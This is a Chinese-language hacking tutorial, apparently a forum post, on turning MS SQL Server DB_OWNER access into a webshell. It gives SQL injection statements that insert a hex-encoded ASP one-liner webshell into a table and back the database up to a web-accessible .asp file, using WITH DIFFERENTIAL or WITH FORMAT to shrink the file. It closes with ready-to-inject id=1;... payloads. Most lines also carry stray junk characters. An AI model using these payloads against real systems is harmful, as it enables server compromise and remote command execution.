DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

) w1 R- T0 {* V4 l1 q一利用差异备份
) l$ @7 Q( m* @加一个参数WITH DIFFERENTIAL
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4 k0 M. m- @' u8 cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 ^. V9 X7 c- N: n1 Acreate table [dbo].[xiaolu] ([cmd] [image]);
, F/ N; d6 q( z+ [# {/ R; ]insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 F) W% s& R  _- ^declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

* H# I4 s+ n( m2 Gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
& y8 C* }+ D8 H! `7 G: Lcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

% x, d& l/ T! L9 J' D' L% q总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values (”)
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7 h+ J# c: Z$ _id=1;backup database model to disk=’你的路径‘ with differential,format;–

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